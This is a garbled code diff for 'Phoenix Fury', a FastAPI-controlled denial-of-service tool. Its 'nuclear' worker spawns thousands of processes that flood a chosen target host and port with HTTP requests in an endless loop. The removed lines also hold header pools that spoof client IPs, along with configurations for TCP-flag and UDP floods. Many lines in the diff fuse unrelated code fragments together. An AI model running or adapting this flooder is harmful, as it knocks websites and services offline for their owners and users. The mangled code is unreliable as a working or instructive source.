Update main.py

main.py

@@ -1,250 +1,497 @@
-import multiprocessing
+import multiprocessingimport multiprocessing
 
-import socketimport threading
+import socket
 
-import multiprocessingimport asyncio
+import timeimport socketimport threading
 
-import timeimport aiohttp
+import os
 
-import osimport os
-
-from ctypes import c_ulonglongimport sys
+from ctypes import c_ulonglongimport multiprocessingimport asyncio
 
-from fastapi import FastAPI, BackgroundTasksimport psutil
+from fastapi import FastAPI, BackgroundTasks
 
-from pydantic import BaseModelimport ssl
+from pydantic import BaseModelimport timeimport aiohttp
 
-import uvicornfrom typing import Literal, List, Union
+import uvicorn
 
-from ctypes import c_ulonglong
+import osimport os
 
 app = FastAPI(title="Phoenix Fury v8.0 - NUCLEAR MODE")
 
-# Use uvloop for a significant performance boost
+from ctypes import c_ulonglongimport sys
 
-# ============================================================================try:
+# ============================================================================
 
-# AUTO-CONFIG: USE ALL AVAILABLE RESOURCES    import uvloop
+# AUTO-CONFIG: USE ALL AVAILABLE RESOURCESfrom fastapi import FastAPI, BackgroundTasksimport psutil
 
-# ============================================================================    asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
+# ============================================================================
 
-CPU_COUNT = os.cpu_count() or 8except ImportError:
+CPU_COUNT = os.cpu_count() or 8from pydantic import BaseModelimport ssl
 
-# NUCLEAR MODE: 64 processes per CPU core!    pass
+# NUCLEAR MODE: 64 processes per CPU core!
 
-TOTAL_PROCESSES = CPU_COUNT * 64  # 48 cores = 3,072 processes
+TOTAL_PROCESSES = CPU_COUNT * 64  # 48 cores = 3,072 processesimport uvicornfrom typing import Literal, List, Union
 
-REQUESTS_PER_BURST = 1000  # Each process sends 1000 reqs per connectionfrom fastapi import FastAPI, HTTPException, BackgroundTasks
+REQUESTS_PER_BURST = 1000  # Each process sends 1000 reqs per connection
 
-from pydantic import BaseModel, Field
+from ctypes import c_ulonglong
 
-print(f"[NUCLEAR MODE] {CPU_COUNT} cores detected")import uvicorn
+print(f"[NUCLEAR MODE] {CPU_COUNT} cores detected")
 
-print(f"[NUCLEAR MODE] Spawning {TOTAL_PROCESSES} attack processes")
+print(f"[NUCLEAR MODE] Spawning {TOTAL_PROCESSES} attack processes")app = FastAPI(title="Phoenix Fury v8.0 - NUCLEAR MODE")
 
-print(f"[NUCLEAR MODE] Expected: {TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,} RPS")# --- Application Setup ---
+print(f"[NUCLEAR MODE] Expected: {TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,} RPS")
 
-app = FastAPI(
+# Use uvloop for a significant performance boost
 
-# ============================================================================    title="🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
+# ============================================================================
 
-# MODELS    description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.",
+# MODELS# ============================================================================try:
 
-# ============================================================================    version="7.0.0"
+# ============================================================================
 
-class AttackConfig(BaseModel):)
+class AttackConfig(BaseModel):# AUTO-CONFIG: USE ALL AVAILABLE RESOURCES    import uvloop
 
     target: str
 
-    port: int = 80# --- Auto-Optimized Configuration ---
+    port: int = 80# ============================================================================    asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
 
-    duration: int = 60CPU_COUNT = psutil.cpu_count(logical=True) or 8
+    duration: int = 60
 
-TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
+CPU_COUNT = os.cpu_count() or 8except ImportError:
 
 # ============================================================================
 
-# ULTRA-AGGRESSIVE WORKER - MAXIMUM SPEED# REALISTIC CONFIG - Fewer processes that actually work
+# ULTRA-AGGRESSIVE WORKER - MAXIMUM SPEED# NUCLEAR MODE: 64 processes per CPU core!    pass
 
-# ============================================================================def calculate_optimal_config():
+# ============================================================================
 
-def nuclear_worker(worker_id, target_ip, port, stop_flag, counter):    """Calculate reasonable process count."""
+def nuclear_worker(worker_id, target_ip, port, stop_flag, counter):TOTAL_PROCESSES = CPU_COUNT * 64  # 48 cores = 3,072 processes
 
-    """    # MUCH FEWER processes - focus on making them work!
+    """
 
-    Ultra-aggressive worker: tight loop, no error handling, maximum speed.    if CPU_COUNT >= 32:
+    Ultra-aggressive worker: tight loop, no error handling, maximum speed.REQUESTS_PER_BURST = 1000  # Each process sends 1000 reqs per connectionfrom fastapi import FastAPI, HTTPException, BackgroundTasks
 
-    """        MAX_PROCESSES = CPU_COUNT * 2  # 64-96 processes for 32-48 cores
+    """
 
-    # Pre-build request (minimal)    elif CPU_COUNT >= 16:
+    # Pre-build request (minimal)from pydantic import BaseModel, Field
 
-    request = f"GET /?w={worker_id}&c={{}} HTTP/1.1\r\nHost: {target_ip}\r\n\r\n".encode()        MAX_PROCESSES = CPU_COUNT * 3  # 48 processes for 16 cores
+    request = f"GET /?w={worker_id}&c={{}} HTTP/1.1\r\nHost: {target_ip}\r\n\r\n".encode()
 
-        elif CPU_COUNT >= 8:
+    print(f"[NUCLEAR MODE] {CPU_COUNT} cores detected")import uvicorn
 
-    local_count = 0        MAX_PROCESSES = CPU_COUNT * 4  # 32 processes for 8 cores
+    local_count = 0
 
-    req_num = 0    elif CPU_COUNT >= 4:
+    req_num = 0print(f"[NUCLEAR MODE] Spawning {TOTAL_PROCESSES} attack processes")
 
-            MAX_PROCESSES = CPU_COUNT * 6  # 24 processes for 4 cores
+    
 
-    # INFINITE LOOP: Connect → Blast requests → Reconnect    else:
+    # INFINITE LOOP: Connect → Blast requests → Reconnectprint(f"[NUCLEAR MODE] Expected: {TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,} RPS")# --- Application Setup ---
 
-    while not stop_flag.value:        MAX_PROCESSES = CPU_COUNT * 8  # 16 processes for 2 cores
+    while not stop_flag.value:
 
-        sock = None    
+        sock = Noneapp = FastAPI(
 
-        try:    REQUESTS_PER_CONNECTION = 500  # Send 500 requests per socket
+        try:
 
-            # Fast socket creation    total_capacity = MAX_PROCESSES * REQUESTS_PER_CONNECTION
+            # Fast socket creation# ============================================================================    title="🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
 
-            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
-            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)    return MAX_PROCESSES, REQUESTS_PER_CONNECTION, total_capacity
+            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)# MODELS    description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.",
 
             sock.settimeout(2)
 
-            sock.connect((target_ip, port))MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
+            sock.connect((target_ip, port))# ============================================================================    version="7.0.0"
 
-            STATS_BATCH_UPDATE_SIZE = 100  # Smaller batches for better feedback
+            
 
-            # BLAST REQUESTS - No delays, no checks
+            # BLAST REQUESTS - No delays, no checksclass AttackConfig(BaseModel):)
 
-            for _ in range(REQUESTS_PER_BURST):# --- L7 Enhanced Headers Pool ---
+            for _ in range(REQUESTS_PER_BURST):
 
-                try:USER_AGENTS = [
+                try:    target: str
 
-                    sock.send(request.replace(b"{}", str(req_num).encode()))    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
+                    sock.send(request.replace(b"{}", str(req_num).encode()))
 
-                    local_count += 1    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36",
+                    local_count += 1    port: int = 80# --- Auto-Optimized Configuration ---
 
-                    req_num += 1    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
+                    req_num += 1
 
-                except:    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
+                except:    duration: int = 60CPU_COUNT = psutil.cpu_count(logical=True) or 8
 
-                    break    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1"
+                    break
 
-            ]
+            TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
 
-            sock.close()REFERERS = [
+            sock.close()
 
-        except:    "https://www.google.com/search?q=",
+        except:# ============================================================================
 
-            pass  # Ignore ALL errors, keep going    "https://www.bing.com/search?q=",
+            pass  # Ignore ALL errors, keep going
 
-            "https://www.facebook.com/",
+        # ULTRA-AGGRESSIVE WORKER - MAXIMUM SPEED# REALISTIC CONFIG - Fewer processes that actually work
 
-        # Update shared counter every 500 requests    "https://www.twitter.com/",
+        # Update shared counter every 500 requests
 
-        if local_count >= 500:    "https://www.reddit.com/",
+        if local_count >= 500:# ============================================================================def calculate_optimal_config():
 
-            counter.value += local_count    "https://www.youtube.com/"
+            counter.value += local_count
 
-            local_count = 0]
+            local_count = 0def nuclear_worker(worker_id, target_ip, port, stop_flag, counter):    """Calculate reasonable process count."""
 
     
 
-    # Final updatedef get_random_headers() -> dict:
+    # Final update    """    # MUCH FEWER processes - focus on making them work!
+
+    if local_count > 0:
 
-    if local_count > 0:    """Generates randomized headers with IP spoofing for L7 attacks."""
+        counter.value += local_count    Ultra-aggressive worker: tight loop, no error handling, maximum speed.    if CPU_COUNT >= 32:
 
-        counter.value += local_count    return {
 
-        "User-Agent": random.choice(USER_AGENTS),
 
-# ============================================================================        "Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)),
+# ============================================================================    """        MAX_PROCESSES = CPU_COUNT * 2  # 64-96 processes for 32-48 cores
 
-# ATTACK MANAGER        "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
+# ATTACK MANAGER
 
-# ============================================================================        "X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
+# ============================================================================    # Pre-build request (minimal)    elif CPU_COUNT >= 16:
 
-class NuclearAttackManager:        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+class NuclearAttackManager:
 
-    def __init__(self):        "Accept-Language": "en-US,en;q=0.9",
+    def __init__(self):    request = f"GET /?w={worker_id}&c={{}} HTTP/1.1\r\nHost: {target_ip}\r\n\r\n".encode()        MAX_PROCESSES = CPU_COUNT * 3  # 48 processes for 16 cores
 
-        self.active = False        "Accept-Encoding": "gzip, deflate, br",
+        self.active = False
 
-        self.processes = []        "Cache-Control": "no-cache",
+        self.processes = []        elif CPU_COUNT >= 8:
 
-        self.stop_flag = multiprocessing.Value('i', 0)        "Pragma": "no-cache"
+        self.stop_flag = multiprocessing.Value('i', 0)
 
-        self.counter = multiprocessing.Value(c_ulonglong, 0)    }
+        self.counter = multiprocessing.Value(c_ulonglong, 0)    local_count = 0        MAX_PROCESSES = CPU_COUNT * 4  # 32 processes for 8 cores
 
         self.start_time = 0
 
-    # ====================================================================================
+        req_num = 0    elif CPU_COUNT >= 4:
 
-    def launch(self, target: str, port: int, duration: int):#  Pydantic API Models (Simplified - Auto Max Settings)
+    def launch(self, target: str, port: int, duration: int):
 
-        """Launch nuclear attack with ALL processes."""# ====================================================================================
+        """Launch nuclear attack with ALL processes."""            MAX_PROCESSES = CPU_COUNT * 6  # 24 processes for 4 cores
 
-        if self.active:class BaseAttackConfig(BaseModel):
+        if self.active:
 
-            return    target: str = Field(..., description="Target hostname or IP address")
+            return    # INFINITE LOOP: Connect → Blast requests → Reconnect    else:
 
-            port: int = Field(..., ge=1, le=65535, description="Target port")
+        
 
-        self.active = True    duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
+        self.active = True    while not stop_flag.value:        MAX_PROCESSES = CPU_COUNT * 8  # 16 processes for 2 cores
 
         self.stop_flag.value = 0
 
-        self.counter.value = 0class L4TCPConfig(BaseAttackConfig):
+        self.counter.value = 0        sock = None    
+
+        self.start_time = time.time()
+
+        self.processes = []        try:    REQUESTS_PER_CONNECTION = 500  # Send 500 requests per socket
+
+        
+
+        # Resolve target            # Fast socket creation    total_capacity = MAX_PROCESSES * REQUESTS_PER_CONNECTION
+
+        try:
+
+            target_ip = socket.gethostbyname(target.replace("http://", "").replace("https://", "").split("/")[0])            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
+
+        except:
+
+            target_ip = target            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)    return MAX_PROCESSES, REQUESTS_PER_CONNECTION, total_capacity
+
+        
+
+        print(f"\n{'='*70}")            sock.settimeout(2)
+
+        print(f"🔥 NUCLEAR ATTACK LAUNCHED")
+
+        print(f"   Target: {target_ip}:{port}")            sock.connect((target_ip, port))MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
+
+        print(f"   Processes: {TOTAL_PROCESSES:,}")
+
+        print(f"   Duration: {duration}s")            STATS_BATCH_UPDATE_SIZE = 100  # Smaller batches for better feedback
+
+        print(f"{'='*70}\n")
+
+                    # BLAST REQUESTS - No delays, no checks
+
+        # Spawn ALL processes at once
+
+        for i in range(TOTAL_PROCESSES):            for _ in range(REQUESTS_PER_BURST):# --- L7 Enhanced Headers Pool ---
+
+            p = multiprocessing.Process(
+
+                target=nuclear_worker,                try:USER_AGENTS = [
+
+                args=(i, target_ip, port, self.stop_flag, self.counter)
+
+            )                    sock.send(request.replace(b"{}", str(req_num).encode()))    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
+
+            p.start()
+
+            self.processes.append(p)                    local_count += 1    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36",
+
+        
+
+        # Stats reporter                    req_num += 1    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
+
+        def report_stats():
+
+            last_count = 0                except:    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
+
+            last_time = time.time()
+
+                                break    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1"
+
+            while not self.stop_flag.value:
+
+                time.sleep(2)            ]
+
+                now = time.time()
+
+                current = self.counter.value            sock.close()REFERERS = [
+
+                rps = (current - last_count) / (now - last_time)
+
+                elapsed = now - self.start_time        except:    "https://www.google.com/search?q=",
+
+                
+
+                print(f"[{elapsed:.0f}s] Total: {current:,} | Current RPS: {rps:,.0f}")            pass  # Ignore ALL errors, keep going    "https://www.bing.com/search?q=",
+
+                
+
+                last_count = current            "https://www.facebook.com/",
+
+                last_time = now
+
+                # Update shared counter every 500 requests    "https://www.twitter.com/",
+
+        import threading
+
+        stats_thread = threading.Thread(target=report_stats, daemon=True)        if local_count >= 500:    "https://www.reddit.com/",
+
+        stats_thread.start()
+
+                    counter.value += local_count    "https://www.youtube.com/"
+
+        # Auto-stop after duration
+
+        def auto_stop():            local_count = 0]
+
+            time.sleep(duration)
+
+            self.terminate()    
+
+        
+
+        stop_thread = threading.Thread(target=auto_stop, daemon=True)    # Final updatedef get_random_headers() -> dict:
+
+        stop_thread.start()
+
+        if local_count > 0:    """Generates randomized headers with IP spoofing for L7 attacks."""
+
+    def terminate(self):
+
+        """Stop all processes."""        counter.value += local_count    return {
+
+        if not self.active:
+
+            return        "User-Agent": random.choice(USER_AGENTS),
+
+        
+
+        print("\n⚠️ Terminating attack...")# ============================================================================        "Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)),
+
+        self.stop_flag.value = 1
+
+        # ATTACK MANAGER        "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
+
+        # Give processes 3 seconds to finish
+
+        time.sleep(3)# ============================================================================        "X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
+
+        
+
+        # Force kill remainingclass NuclearAttackManager:        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+
+        for p in self.processes:
+
+            if p.is_alive():    def __init__(self):        "Accept-Language": "en-US,en;q=0.9",
+
+                p.terminate()
+
+                self.active = False        "Accept-Encoding": "gzip, deflate, br",
+
+        # Wait for all to die
+
+        for p in self.processes:        self.processes = []        "Cache-Control": "no-cache",
+
+            p.join(timeout=1)
+
+                self.stop_flag = multiprocessing.Value('i', 0)        "Pragma": "no-cache"
+
+        # Final stats
+
+        elapsed = time.time() - self.start_time        self.counter = multiprocessing.Value(c_ulonglong, 0)    }
+
+        total = self.counter.value
+
+        avg_rps = total / elapsed if elapsed > 0 else 0        self.start_time = 0
+
+        
+
+        print(f"\n{'='*70}")    # ====================================================================================
+
+        print(f"✅ ATTACK COMPLETED")
+
+        print(f"   Total Requests: {total:,}")    def launch(self, target: str, port: int, duration: int):#  Pydantic API Models (Simplified - Auto Max Settings)
+
+        print(f"   Duration: {elapsed:.2f}s")
+
+        print(f"   Average RPS: {avg_rps:,.2f}")        """Launch nuclear attack with ALL processes."""# ====================================================================================
+
+        print(f"{'='*70}\n")
+
+                if self.active:class BaseAttackConfig(BaseModel):
+
+        self.active = False
+
+        self.processes = []            return    target: str = Field(..., description="Target hostname or IP address")
+
+
+
+# Global manager            port: int = Field(..., ge=1, le=65535, description="Target port")
+
+ATTACK_MANAGER = NuclearAttackManager()
+
+        self.active = True    duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
+
+# ============================================================================
+
+# API ENDPOINTS        self.stop_flag.value = 0
+
+# ============================================================================
+
+@app.get("/")        self.counter.value = 0class L4TCPConfig(BaseAttackConfig):
+
+def root():
+
+    return {        self.start_time = time.time()    method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
+
+        "name": "Phoenix Fury v8.0 - NUCLEAR MODE",
+
+        "processes": TOTAL_PROCESSES,        self.processes = []
 
-        self.start_time = time.time()    method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
+        "cpu_cores": CPU_COUNT,
 
-        self.processes = []
+        "status": "READY" if not ATTACK_MANAGER.active else "ATTACKING"        class L4UDPConfig(BaseAttackConfig):
 
-        class L4UDPConfig(BaseAttackConfig):
+    }
 
         # Resolve target    method: Literal["flood", "pps"] = Field("flood", description="'flood' for large packets, 'pps' for minimal packets")
 
-        try:    payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.")
+@app.post("/attack")
+
+def start_attack(config: AttackConfig, background: BackgroundTasks):        try:    payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.")
+
+    """Launch nuclear L7 attack."""
+
+    if ATTACK_MANAGER.active:            target_ip = socket.gethostbyname(target.replace("http://", "").replace("https://", "").split("/")[0])
+
+        return {"error": "Attack already in progress"}
+
+            except:class L7Config(BaseAttackConfig):
+
+    background.add_task(
+
+        ATTACK_MANAGER.launch,            target_ip = target    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
+
+        config.target,
+
+        config.port,            path: str = Field("/", description="Request path")
+
+        config.duration
 
-            target_ip = socket.gethostbyname(target.replace("http://", "").replace("https://", "").split("/")[0])
+    )        print(f"\n{'='*70}")
 
-        except:class L7Config(BaseAttackConfig):
+    
+
+    return {        print(f"🔥 NUCLEAR ATTACK LAUNCHED")class StatusResponse(BaseModel):
+
+        "status": "launched",
+
+        "target": config.target,        print(f"   Target: {target_ip}:{port}")    attack_active: bool
+
+        "port": config.port,
+
+        "processes": TOTAL_PROCESSES,        print(f"   Processes: {TOTAL_PROCESSES:,}")    attack_type: str
+
+        "expected_rps": f"{TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,}"
+
+    }        print(f"   Duration: {duration}s")    target_host: str
+
+
+
+@app.post("/stop")        print(f"{'='*70}\n")    target_ip: str
 
-            target_ip = target    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
+def stop_attack():
 
-            path: str = Field("/", description="Request path")
+    """Stop current attack."""            port: int
 
-        print(f"\n{'='*70}")
+    ATTACK_MANAGER.terminate()
 
-        print(f"🔥 NUCLEAR ATTACK LAUNCHED")class StatusResponse(BaseModel):
+    return {"status": "stopped"}        # Spawn ALL processes at once    duration: int
 
-        print(f"   Target: {target_ip}:{port}")    attack_active: bool
 
-        print(f"   Processes: {TOTAL_PROCESSES:,}")    attack_type: str
 
-        print(f"   Duration: {duration}s")    target_host: str
+@app.get("/status")        for i in range(TOTAL_PROCESSES):    elapsed_time: float
 
-        print(f"{'='*70}\n")    target_ip: str
+def get_status():
+
+    """Get current attack status."""            p = multiprocessing.Process(    processes: int
+
+    if not ATTACK_MANAGER.active:
+
+        return {"active": False}                target=nuclear_worker,    total_sent: int
+
+    
+
+    elapsed = time.time() - ATTACK_MANAGER.start_time                args=(i, target_ip, port, self.stop_flag, self.counter)    current_rate_pps_rps: float
+
+    total = ATTACK_MANAGER.counter.value
+
+    current_rps = total / elapsed if elapsed > 0 else 0            )    cpu_usage_percent: float
+
+    
 
-            port: int
+    return {            p.start()    memory_usage_percent: float
 
-        # Spawn ALL processes at once    duration: int
+        "active": True,
 
-        for i in range(TOTAL_PROCESSES):    elapsed_time: float
+        "elapsed": round(elapsed, 1),            self.processes.append(p)
 
-            p = multiprocessing.Process(    processes: int
+        "total_requests": total,
 
-                target=nuclear_worker,    total_sent: int
+        "current_rps": round(current_rps, 2),        # ====================================================================================
 
-                args=(i, target_ip, port, self.stop_flag, self.counter)    current_rate_pps_rps: float
+        "processes": TOTAL_PROCESSES
 
-            )    cpu_usage_percent: float
+    }        # Stats reporter#  CORE NETWORKING & PACKET CRAFTING
 
-            p.start()    memory_usage_percent: float
 
-            self.processes.append(p)
 
-        # ====================================================================================
+if __name__ == "__main__":        def report_stats():# ====================================================================================
 
-        # Stats reporter#  CORE NETWORKING & PACKET CRAFTING
+    multiprocessing.set_start_method('fork', force=True)
 
-        def report_stats():# ====================================================================================
+    uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, log_level="warning")            last_count = 0def check_root() -> bool:
 
-            last_count = 0def check_root() -> bool:
 
             last_time = time.time()    """Check if running with root/admin privileges."""